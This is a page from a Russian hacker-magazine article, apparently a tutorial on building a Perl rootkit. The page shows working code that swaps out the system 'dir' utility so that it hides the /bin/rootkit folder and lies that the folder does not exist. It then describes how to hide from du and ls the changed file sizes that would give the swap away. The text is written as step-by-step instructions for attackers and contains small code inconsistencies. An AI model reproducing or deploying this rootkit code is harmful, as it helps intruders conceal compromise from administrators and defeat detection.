Системный маскарад

Юрий Гольцев

Хакер, номер #080, стр. 080-058-2

Зададим какой-нибудь переменной путь до папки, в которой лежат оригинальные утилиты и находятся некоторые файлы руткита:

$kit_path="/bin/rootkit";

Эта строка, кстати, будет присутствовать почти во всех файлах нашего будущего руткита. Первым делом необходимо написать код, проверяющий входные аргументы. То есть если кто-то запустит утилиту dir с параметром /bin/rootkit, то в ответ ему выведется не атрибуты нашей папки, а сообщение, указывающие на то, что папка не существует. Данный код достаточно легко реализовать:

$pwd=`pwd`; # определяем местонахождение пользователя в системных каталогах

foreach $arg(@ARGV) # проверяем каждый элемент массива параметров запуска

{

if(($arg eq "/bin/rootkit/") || ($arg eq "rootkit")&&($pwd eq "bin"))

# если аргумент равен /bin/rootkit -

# расположение нашей папки с руткитом, то выполняем следующее

{print "dir : $arg : No such file or directoryn";exit();}

#выводим на экран сообщение о том, что такой папки или файла не существует

}

После этого запускаем утилиту dir с переданными нашему скрипту параметрами:

$dir=`/bin/rootkit/dir @ARGV`;

В переменную $sher записались все данные, которые выдала утилита dir после окончания своей работы. Теперь перед тем, как выводить данные пользователю, необходимо проверить их на присутствие информации о файлах нашего руткита. То есть, если юзер запустит утилиту dir для папки /bin, в ответе он не должен увидеть папку /bin/rootkit.

Мы остановились в нашем коде на том, что записали в переменную $dir выходные данные с утилиты dir. Теперь нужно эти данные грамотно обработать и вывести пользователю:

@dirz=split(/ /,$dir); #разрезаем $dir на несколько строк по 2 пробелам

#начинаем проверку данных, и, если потребуется, замену:

$count=0;

foreach $dirz(@dirz)

{

$count++;

if ($dirz =~ /$kit_path/){$dirz=""} # ищем «/bin/rootkit»

if (($dirz =~ /rootkit/)&&($pwd=="/bin")){$dirz=""} # ищем «rootkit»

if ($count == scalar(@dirz) ){print "$dirz";exit();}

print "$dirz ";

}

Что ж, могу тебя обрадовать — скрипт, управляющий выходными данными с утилиты dir, готов. Осталось только переместить оригинальную утилиту в папку /bin/rootkit, а на ее место скопировать только что написанную нами программу. В дальнейшем, то есть после того, как все файлы нашего руткита будут готовы, ты должен их скрыть. В случае если ты перл не знаешь, или знаешь очень плохо, то тебе понадобиться умение правильно программировать методом copy & paste, и подправить немного пути до программ :).

[приступим к du]

Переходим плавно к другой утилите – du. Описывать код целиком я не буду: алгоритм все уже поняли. Первым делом проверяем аргументы, далее запускаем программу, получаем ответ, обрабатываем и выводим пользователю. Скелетом для du может послужить наш скрипт dir. А теперь основное: утилиты du и ls выдают информацию о размере файла в системе, а также некоторые индивидуальные для каждого файла атрибуты. То есть, если кто-нибудь выполнит команду du /bin или ls -l /bin, то, скорее всего наш руткит будет рассекречен, так как размеры всех переделанных нами утилит естественно будут не совпадать с размерами оригиналов. Вот это нам и нужно скрыть. Начнем.

Назад на стр. 080-058-1  Содержание  Вперед на стр. 080-058-3
ttfb: 3.0708312988281 ms